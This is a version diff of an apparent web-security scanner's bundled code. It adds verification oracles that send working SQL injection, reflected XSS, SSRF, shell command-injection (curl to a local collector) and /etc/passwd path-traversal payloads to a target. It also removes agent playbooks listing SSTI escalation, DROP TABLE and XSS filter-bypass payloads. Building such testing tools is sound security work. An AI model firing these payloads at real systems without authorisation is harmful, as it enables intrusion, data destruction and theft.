0sec-cli 0.23.0 → 0.24.0

package/chunks/{chunk-Y4HJRUFE.js → chunk-YERUDEXT.js}

@@ -2,261 +2,779 @@
 import { createRequire as __0CreateRequire } from "node:module";
 const require = __0CreateRequire(import.meta.url);
 
-// packages/core/dist/review/sanitizer-log.js
-var ASAN_CATEGORY_BY_KIND = {
-  "heap-use-after-free": "use-after-free",
-  "stack-use-after-return": "use-after-free",
-  "stack-use-after-scope": "use-after-free",
-  "double-free": "double-free",
-  "attempting-double-free": "double-free",
-  "stack-buffer-overflow": "stack-buffer-overflow",
-  "heap-buffer-overflow": "heap-overflow",
-  "global-buffer-overflow": "heap-overflow"
-};
-function categoryForAsan(kind, primitive) {
-  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
-    return "out-of-bounds-read";
+// packages/core/dist/triage/oracle-runtime.js
+import { randomUUID } from "node:crypto";
+import { createServer } from "node:http";
+
+// packages/core/dist/triage/oracles.js
+var DEFAULT_TIMEOUT_MS = 1e4;
+function notVerifiable(reason) {
+  return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
+}
+function verified(evidence, confidence = 1) {
+  return { verified: true, confidence, evidence, reason: "" };
+}
+function parseRequest(requestText, fallbackTarget) {
+  const parsed = {
+    method: "GET",
+    url: fallbackTarget,
+    headers: {},
+    body: "",
+    params: {}
+  };
+  const parseFallbackQuery = () => {
+    try {
+      const u = new URL(parsed.url);
+      u.searchParams.forEach((v, k) => {
+        parsed.params[k] = v;
+      });
+    } catch {
+    }
+  };
+  if (!requestText) {
+    parseFallbackQuery();
+    return parsed;
   }
-  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
-    return "out-of-bounds-write";
+  requestText = requestText.replace(/\r\n/g, "\n");
+  const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
+  if (curlUrl)
+    parsed.url = curlUrl[1].replace(/['"]$/, "");
+  const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
+  if (curlMethod)
+    parsed.method = curlMethod[1].toUpperCase();
+  const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
+  if (curlData)
+    parsed.body = curlData[1];
+  const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
+  if (startLine) {
+    parsed.method = startLine[1].toUpperCase();
+    const path = startLine[2];
+    const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
+    if (/^https?:\/\//i.test(path)) {
+      parsed.url = path;
+    } else if (hostHeader) {
+      const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
+      parsed.url = `${scheme}://${hostHeader[1]}${path}`;
+    } else if (path.startsWith("/")) {
+      try {
+        const base = new URL(fallbackTarget);
+        parsed.url = `${base.origin}${path}`;
+      } catch {
+        parsed.url = path;
+      }
+    } else {
+      parsed.url = path;
+    }
+    const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
+    for (const line of headerBlock.split("\n").slice(1)) {
+      const colon = line.indexOf(":");
+      if (colon > 0) {
+        const name = line.slice(0, colon).trim().toLowerCase();
+        if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
+          parsed.headers[name] = line.slice(colon + 1).trim();
+        }
+      }
+    }
+    const sep = requestText.indexOf("\n\n");
+    if (sep >= 0)
+      parsed.body = requestText.slice(sep + 2);
   }
-  return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
+  try {
+    const u = new URL(parsed.url);
+    u.searchParams.forEach((v, k) => {
+      parsed.params[k] = v;
+    });
+  } catch {
+  }
+  if (parsed.body.trimStart().startsWith("{")) {
+    try {
+      const json = JSON.parse(parsed.body);
+      for (const [key, value] of Object.entries(json)) {
+        if (typeof value === "string" || typeof value === "number")
+          parsed.params[key] = String(value);
+      }
+    } catch {
+    }
+  } else if (parsed.body.includes("=")) {
+    new URLSearchParams(parsed.body).forEach((value, key) => {
+      parsed.params[key] = value;
+    });
+  }
+  return parsed;
 }
-function categoryForUbsan(message) {
-  const lower = message.toLowerCase();
-  if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
-    return { kind: "signed-integer-overflow", category: "integer-overflow" };
+function buildProbeRequest(parsed, newParams) {
+  const method = parsed.method || "GET";
+  const init = { method, headers: { ...parsed.headers } };
+  const url = new URL(parsed.url);
+  let json;
+  if (parsed.body.trimStart().startsWith("{")) {
+    try {
+      json = JSON.parse(parsed.body);
+    } catch {
+    }
   }
-  if (lower.includes("shift exponent") || lower.includes("shift base")) {
-    return { kind: "shift-exponent", category: "integer-overflow" };
+  const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
+  for (const [key, value] of Object.entries(newParams)) {
+    if (method !== "GET" && json && Object.hasOwn(json, key))
+      json[key] = value;
+    else if (method !== "GET" && form?.has(key))
+      form.set(key, value);
+    else
+      url.searchParams.set(key, value);
   }
-  if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
-    return { kind: "float-cast-overflow", category: "integer-truncation" };
+  if (method !== "GET") {
+    init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
+    if (json)
+      init.headers = { "content-type": "application/json", ...parsed.headers };
+    else if (form)
+      init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
   }
-  if (lower.includes("null pointer") || lower.includes("null-pointer")) {
-    return { kind: "null-pointer-use", category: "null-deref" };
+  return { url: url.toString(), init };
+}
+async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), timeoutMs);
+  const start = Date.now();
+  try {
+    const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
+    const body = await res.text();
+    return { status: res.status, body, latencyMs: Date.now() - start };
+  } catch {
+    return null;
+  } finally {
+    clearTimeout(timer);
   }
-  return { kind: "undefined-behavior", category: "other" };
 }
-function parsePrimitive(text) {
-  const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
-  if (!access)
-    return { primitive: "unknown" };
-  return {
-    primitive: access[1].toLowerCase(),
-    accessSize: Number(access[2])
-  };
+var SQL_ERROR_PATTERNS = [
+  // MySQL
+  /You have an error in your SQL syntax/i,
+  /\bmysql_fetch_/i,
+  /\bMySQLSyntaxErrorException\b/i,
+  /\bMariaDB\b.*?\bsyntax\b/i,
+  // PostgreSQL
+  /\bPG::SyntaxError\b/i,
+  /\bpq:\s+syntax error\b/i,
+  /\bpsql:.*?ERROR:/i,
+  /unterminated quoted string/i,
+  // SQLite
+  /\bSQLite3::/i,
+  /\bsqlite3\.OperationalError\b/i,
+  /near\s+".+?":\s*syntax error/i,
+  // MSSQL
+  /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
+  /\bUnclosed quotation mark\b/i,
+  /\bOLE DB.*?SQL Server\b/i,
+  // Oracle
+  /\bORA-\d{4,5}\b/i,
+  /\bquoted string not properly terminated\b/i
+];
+function detectSqlError(body) {
+  for (const re of SQL_ERROR_PATTERNS) {
+    const m = body.match(re);
+    if (m)
+      return m[0];
+  }
+  return null;
 }
-function parseFrames(text) {
-  const frames = [];
-  const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
-  let match;
-  while ((match = frameRegex.exec(text)) !== null) {
-    frames.push({
-      functionName: match[1],
-      file: match[2],
-      line: Number(match[3])
-    });
+function pickInjectableParam(parsed) {
+  for (const [k, v] of Object.entries(parsed.params)) {
+    if (v && v.length > 0)
+      return { key: k, value: v };
   }
-  return frames;
+  const first = Object.keys(parsed.params)[0];
+  if (first)
+    return { key: first, value: parsed.params[first] ?? "" };
+  return null;
 }
-function parseAsan(text) {
-  const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
-  if (!header?.[1])
-    return null;
-  const kind = header[1].toLowerCase();
-  const { primitive, accessSize } = parsePrimitive(text);
-  const frames = parseFrames(text);
-  let sourceFile = frames[0]?.file;
-  let sourceLine = frames[0]?.line;
-  const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
-  if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
-    sourceFile = summary[1];
-    sourceLine = Number(summary[2]);
+async function verifySqli(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const signals = [];
+  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
+  if (!baseline)
+    return notVerifiable("baseline request failed");
+  const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
+  const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
+  if (trueProbe && falseProbe && trueProbe.body.length > 0) {
+    const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
+    if (delta > 0.1) {
+      signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
+    }
+  }
+  const timePayloads = [
+    `${victim.value}' AND SLEEP(3)-- -`,
+    `${victim.value}'; SELECT pg_sleep(3)-- -`,
+    `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
+  ];
+  for (const payload of timePayloads) {
+    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
+    if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
+      signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
+      break;
+    }
+  }
+  const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
+  if (errProbe) {
+    const err = detectSqlError(errProbe.body);
+    if (err)
+      signals.push(`sql_error: ${err}`);
+  }
+  if (signals.length >= 2) {
+    return verified(signals.join(" | "));
   }
-  const allocMatch = text.match(/\b(\d+)-byte region\b/i);
-  const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
   return {
-    sanitizer: "asan",
-    kind,
-    category: categoryForAsan(kind, primitive),
-    primitive,
-    sourceFile,
-    sourceLine,
-    allocSize,
-    accessSize,
-    summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
-    frames
+    verified: false,
+    confidence: signals.length === 1 ? 0.4 : 0,
+    evidence: signals.join(" | "),
+    reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
   };
 }
-function parseUbsan(text) {
-  const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
-  if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
-    return null;
-  const details = runtime[4].trim();
-  const { kind, category } = categoryForUbsan(details);
-  return {
-    sanitizer: "ubsan",
-    kind,
-    category,
-    primitive: "unknown",
-    sourceFile: runtime[1],
-    sourceLine: Number(runtime[2]),
-    summary: details,
-    frames: []
+async function verifyReflectedXss(finding, target, context = {}) {
+  const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const token = `osec_${randomUUID().replace(/-/g, "")}`;
+  const payload = `<script>alert('${token}')</script>`;
+  const { url, init } = buildProbeRequest(parsed, {
+    [victim.key]: payload
+  });
+  const probe = await timedFetch(url, init);
+  const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
+  let playwright = null;
+  try {
+    playwright = await import("playwright");
+  } catch {
+  }
+  if (playwright) {
+    let browser = null;
+    try {
+      browser = await playwright.chromium.launch({ headless: true });
+      const page = await browser.newPage();
+      let dialogMessage = "";
+      page.on("dialog", async (dialog) => {
+        if (dialog.type() === "alert" && dialog.message() === token) {
+          dialogMessage = token;
+        }
+        await dialog.dismiss().catch(() => {
+        });
+      });
+      let replayed = false;
+      await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
+        const request = route.request();
+        const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
+        if (initial)
+          replayed = true;
+        const replayInit = {
+          method: initial ? init.method : request.method(),
+          headers: initial ? init.headers : request.headers(),
+          body: initial ? init.body : request.postData(),
+          redirect: "manual"
+        };
+        if (context.fetch) {
+          try {
+            const response = await context.fetch(request.url(), replayInit);
+            const headers = Object.fromEntries(response.headers);
+            delete headers["content-encoding"];
+            delete headers["content-length"];
+            await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
+          } catch {
+            await route.abort();
+          }
+        } else if (initial) {
+          await route.continue({
+            method: init.method,
+            headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
+            ...typeof init.body === "string" ? { postData: init.body } : {}
+          });
+        } else {
+          await route.continue();
+        }
+      });
+      await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
+      await page.waitForTimeout(500);
+      await browser.close();
+      browser = null;
+      if (dialogMessage === token) {
+        return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
+      }
+    } catch (err) {
+      if (browser)
+        await browser.close().catch(() => {
+        });
+      return {
+        verified: false,
+        confidence: htmlReflected ? 0.4 : 0,
+        evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
+        inconclusive: true,
+        reason: `playwright navigation failed: ${err.message}`
+      };
+    }
+  }
+  if (htmlReflected) {
+    return {
+      verified: false,
+      confidence: 0.5,
+      evidence: `html_reflection: payload reflected unencoded in response body`,
+      reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
+    };
+  }
+  return notVerifiable("no xss reflection or alert captured");
+}
+async function withCollector(nonce, timeoutMs, work) {
+  const port = 8888 + Math.floor(Math.random() * 1e3);
+  let hit = false;
+  const server = createServer((req, res) => {
+    if ((req.url ?? "").includes(nonce))
+      hit = true;
+    res.writeHead(200);
+    res.end("ok");
+  });
+  await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
+  const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
+  const waitForHit = async () => {
+    const deadline = Date.now() + timeoutMs;
+    while (Date.now() < deadline) {
+      if (hit)
+        return true;
+      await new Promise((r) => setTimeout(r, 100));
+    }
+    return hit;
   };
+  try {
+    return await work(collectorUrl, waitForHit);
+  } finally {
+    await new Promise((resolve) => server.close(() => resolve()));
+  }
 }
-function parseSanitizerLog(text) {
-  const trimmed = text.trim();
-  if (!trimmed)
-    return null;
-  return parseAsan(trimmed) ?? parseUbsan(trimmed);
+async function verifySsrf(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
+  return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
+    const { url, init } = buildProbeRequest(parsed, {
+      [victim.key]: collectorUrl
+    });
+    const probe = await timedFetch(url, init, 8e3);
+    if (!probe)
+      return notVerifiable("ssrf probe failed to send");
+    const hit = await waitForHit();
+    if (hit) {
+      return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
+    }
+    return {
+      verified: false,
+      confidence: 0,
+      evidence: "",
+      reason: `collector never received a request for nonce=${nonce}`
+    };
+  });
 }
-function renderSanitizerVerdict(verdict) {
-  const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
-  const sizes = [
-    verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
-    verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
-  ].filter(Boolean).join(", ");
-  return [
-    `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
-    `category=${verdict.category}`,
-    `primitive=${verdict.primitive}`,
-    `source=${loc}`,
-    sizes || null
-  ].filter(Boolean).join("; ");
+async function verifyRce(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
+  return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
+    const payloads = [
+      `${victim.value};curl ${collectorUrl}`,
+      `${victim.value}|curl ${collectorUrl}`,
+      `${victim.value}$(curl ${collectorUrl})`,
+      `${victim.value}\`curl ${collectorUrl}\``,
+      `${victim.value}&&curl ${collectorUrl}`
+    ];
+    for (const payload of payloads) {
+      const { url, init } = buildProbeRequest(parsed, {
+        [victim.key]: payload
+      });
+      await timedFetch(url, init, 8e3);
+    }
+    const hit = await waitForHit();
+    if (hit)
+      return verified(`collector hit: nonce=${nonce}`);
+    return {
+      verified: false,
+      confidence: 0,
+      evidence: "",
+      reason: `collector never received a request for nonce=${nonce}`
+    };
+  });
+}
+var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
+async function verifyPathTraversal(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const payloads = [
+    "../../../../etc/passwd",
+    "..%2f..%2f..%2f..%2fetc%2fpasswd",
+    "..%252f..%252f..%252fetc%252fpasswd",
+    "../../../../etc/passwd%00",
+    "....//....//....//etc/passwd",
+    "/etc/passwd"
+  ];
+  for (const payload of payloads) {
+    const { url, init } = buildProbeRequest(parsed, {
+      [victim.key]: payload
+    });
+    const probe = await timedFetch(url, init);
+    if (!probe)
+      continue;
+    const m = probe.body.match(PASSWD_PATTERN);
+    if (m) {
+      return verified(`payload=${payload} response contained "${m[0]}"`);
+    }
+  }
+  return notVerifiable("no /etc/passwd signature in any traversal probe response");
+}
+async function verifyIdor(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const boundary = await context.verifyAccessControl?.(finding, target);
+  if (boundary)
+    return boundary;
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  if (parsed.method !== "GET")
+    return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
+  let idKey = null;
+  let idValue = 0;
+  for (const [k, v] of Object.entries(parsed.params)) {
+    if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
+      idKey = k;
+      idValue = parseInt(v, 10);
+      break;
+    }
+  }
+  if (!idKey) {
+    for (const [k, v] of Object.entries(parsed.params)) {
+      if (/^\d+$/.test(v)) {
+        idKey = k;
+        idValue = parseInt(v, 10);
+        break;
+      }
+    }
+  }
+  if (!idKey)
+    return notVerifiable("no numeric id-like parameter to mutate");
+  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
+  if (!baseline)
+    return notVerifiable("baseline request failed");
+  const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
+  const hits = [];
+  for (const variant of variants) {
+    if (variant === String(idValue))
+      continue;
+    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
+    if (!probe)
+      continue;
+    if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
+      hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
+    }
+  }
+  if (hits.length > 0) {
+    return {
+      verified: false,
+      confidence: 0.7,
+      inconclusive: true,
+      evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
+      reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
+    };
+  }
+  return notVerifiable("no distinct 200 response on id mutation");
+}
+async function verifyOracleByCategory(finding, target, context = {}) {
+  const category = finding.category;
+  switch (category) {
+    case "sql-injection":
+      return verifySqli(finding, target, context);
+    case "xss":
+      return verifyReflectedXss(finding, target, context);
+    case "ssrf":
+      return verifySsrf(finding, target, context);
+    case "command-injection":
+    case "code-injection":
+      return verifyRce(finding, target, context);
+    case "path-traversal":
+      return verifyPathTraversal(finding, target, context);
+    // Heuristic: "information-disclosure" findings referencing an id param
+    // look a lot like IDOR. We route them through the IDOR oracle as well.
+    case "information-disclosure":
+      return verifyIdor(finding, target, context);
+    default:
+      return {
+        verified: false,
+        confidence: 0,
+        evidence: "",
+        reason: `no oracle for category="${category}"`
+      };
+  }
 }
 
-// packages/core/dist/agent/playbooks.js
-var PLAYBOOKS = {
-  sqli: `## SQLi Playbook
-- Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
-- Check for error-based: ' AND 1=CONVERT(int,@@version)--
-- For blind: write Python timing script (see script templates)
-- Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
-- Try UNION SELECT with increasing column count
-- Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
-- If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
-  structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
-The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
-- Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
-- Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
-- Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
-  1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
-  2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
-  3. Balance: re-close the quote + comment the tail with the DISCOVERED dialect's syntax (MySQL needs "-- " with a space \u2192 name'-- -). No error on the balanced key while the broken key errored \u21D2 structural SQLi confirmed.
-- Prove with an ORDER BY boolean/error oracle (no quotes needed); extract minimal non-sensitive proof; save the finding WITH the ordered iteration trail.`,
-  ssti: `## SSTI Playbook
-- Confirm with: {{7*7}}, \${7*7}, <%= 7*7 %>
-- Identify engine: {{config}} (Jinja2), #{7*7} (Ruby), {{self}} (Twig)
-- Escalate Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
-- Escalate Django: {% load module %}{% module.dangerous %}
-- Try {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
-- If blocked, try: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`,
-  idor: `## IDOR Playbook
-- Login with provided/default creds first
-- Find any URL with an ID parameter: /api/users/1, /profile?id=1, /edit/1
-- Try incrementing/decrementing IDs: 0, 2, 3, 999, admin
-- Try changing user identifiers in POST body: user_id, owner_id, account_id
-- Check both GET and POST/PUT endpoints for same resource
-- Try negative IDs, very large IDs, string values where integers expected
-- Check indirect IDOR: change ID in one endpoint, observe result in another`,
-  access_control: `## Broken Access Control Playbook (BOLA / IDOR / BFLA \u2014 multi-identity)
-
-This is the highest-impact API vuln class (OWASP API #1 & #5) and is ONLY
-testable with \u22652 identities. If the scan configured multiple identities, use
-the **access_control_probe** tool \u2014 it captures a resource as the authorized
-identity, replays the SAME request as another identity, and diffs the result.
-
-### Horizontal (BOLA / IDOR) \u2014 read another user's object
-1. As identity A, find an object you legitimately own: /api/users/{A_id},
-   /api/orders/{A_order}, /account/{A_id}/settings, ?id={A_id}.
-2. Call \`access_control_probe\` with that URL, baseline_identity = A,
-   compare_identities = [B], expect_denied = true.
-3. If B gets a 2xx with the SAME body A saw \u2192 confirmed BOLA. The tool returns
-   A-vs-B request/response evidence \u2014 pass it straight into save_finding.
-4. Also try B's own id incremented/decremented to A's id in the path AND body
-   (user_id, owner_id, account_id) \u2014 IDOR often hides in the POST/PUT body.
-
-### Vertical (BFLA) \u2014 low-priv reaching admin-only function
-1. As the admin identity, hit an admin-only endpoint (/admin, /api/admin/users,
-   role-changing POSTs).
-2. \`access_control_probe\` baseline_identity = admin, compare_identities =
-   [low-priv user, anonymous], expect_denied = true.
-3. A 2xx for the low-priv / anonymous identity = vertical privilege escalation.
-
-### Cross-tenant writes and multi-step workflows
-1. Use a disposable resource and a fresh marker within the approved scope.
-2. Call \`access_control_workflow\` with the owner and actor identities,
-   an owner-visible JSON observation, the actor's ordered requests, and
-   \`allow_mutation: true\`.
-3. Confirm only when the owner-visible state changes to the expected marker.
-   A 2xx/no-op is not proof, and a 403 can still hide a committed state change.
-4. Keep before/after and per-step evidence. Missing observations, transport
-   errors, or a marker already present before the attempt are inconclusive.
-
-### Tips
-- The HTTP tools are now stateful: a session cookie captured via submit_form is
-  auto-re-injected, so you do NOT need manual \`curl -c/-b\` jars.
-- A 200 alone isn't proof \u2014 the probe's body-similarity diff is what confirms
-  the SAME resource crossed the boundary. Save findings only on a real diff.`,
-  xss: `## XSS Playbook
-
-### Step 1: Identify Injection Points
-- Use curl to fetch every page with forms or URL parameters
-- Look for reflected output: inject a unique canary string (e.g. "osec123xss") and check if it appears unescaped in the response HTML
-- Check Content-Type headers \u2014 XSS only works when response is text/html
-- Note which characters are reflected vs stripped: < > " ' / \` ( ) = on
-
-### Step 2: Test with Basic Payloads via curl
-- Reflected: <script>alert(1)</script> in all params (GET and POST)
-- Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>
-- Stored XSS: inject in forms that save data (comments, profiles, settings), then visit the page where it renders
-- DOM XSS: look for document.location, innerHTML, eval, document.write in client JS source
-
-### Step 3: Confirm XSS with the Browser Tool (CRITICAL)
-curl CANNOT execute JavaScript \u2014 you MUST use the browser tool to confirm XSS fires.
-1. browser action=navigate url=TARGET_URL_WITH_PAYLOAD
-2. Check the "dialogs" array in the response \u2014 if it contains "alert: 1" or similar, XSS is CONFIRMED
-3. If no dialog fires, try: browser action=evaluate script="document.querySelector('img[onerror]') !== null"
-4. For stored XSS: first inject via curl/submit_form, then navigate with browser to the render page
-5. For DOM XSS: browser action=navigate to the page, then action=evaluate to check if payload executed
-
-### Step 4: WAF/Filter Bypass Payloads
-If basic payloads are blocked, try these bypasses IN ORDER:
-
-**Angle brackets stripped/encoded:**
-- " onfocus=alert(1) autofocus="
-- ' onfocus='alert(1)' autofocus='
-- " autofocus onfocus=alert(1)//
-
-**script tag blocked:**
-- <img src=x onerror=alert(1)>
-- <svg/onload=alert(1)>
-- <details open ontoggle=alert(1)>
-- <body onload=alert(1)>
-- <marquee onstart=alert(1)>
-- <video><source onerror=alert(1)>
-- <input onfocus=alert(1) autofocus>
-
-**alert() blocked:**
-- <img src=x onerror=confirm(1)>
-- <img src=x onerror=prompt(1)>
-- <img src=x onerror=print()>
-- <img src=x onerror=window['al'+'ert'](1)>
-
-**Encoding bypasses:**
-- URL encoding: %3Cscript%3Ealert(1)%3C/script%3E
-- Double URL encoding: %253Cscript%253Ealert(1)%253C%252Fscript%253E
-- HTML entities: &lt;script&gt; (check if decoded server-side)
-- Unicode: \\u003cscript\\u003ealert(1)\\u003c/script\\u003e
-- Mixed case: <ScRiPt>alert(1)</ScRiPt>
-- Null bytes: <scr%00ipt>alert(1)</script>
+// packages/core/dist/review/sanitizer-log.js
+var ASAN_CATEGORY_BY_KIND = {
+  "heap-use-after-free": "use-after-free",
+  "stack-use-after-return": "use-after-free",
+  "stack-use-after-scope": "use-after-free",
+  "double-free": "double-free",
+  "attempting-double-free": "double-free",
+  "stack-buffer-overflow": "stack-buffer-overflow",
+  "heap-buffer-overflow": "heap-overflow",
+  "global-buffer-overflow": "heap-overflow"
+};
+function categoryForAsan(kind, primitive) {
+  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
+    return "out-of-bounds-read";
+  }
+  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
+    return "out-of-bounds-write";
+  }
+  return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
+}
+function categoryForUbsan(message) {
+  const lower = message.toLowerCase();
+  if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
+    return { kind: "signed-integer-overflow", category: "integer-overflow" };
+  }
+  if (lower.includes("shift exponent") || lower.includes("shift base")) {
+    return { kind: "shift-exponent", category: "integer-overflow" };
+  }
+  if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
+    return { kind: "float-cast-overflow", category: "integer-truncation" };
+  }
+  if (lower.includes("null pointer") || lower.includes("null-pointer")) {
+    return { kind: "null-pointer-use", category: "null-deref" };
+  }
+  return { kind: "undefined-behavior", category: "other" };
+}
+function parsePrimitive(text) {
+  const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
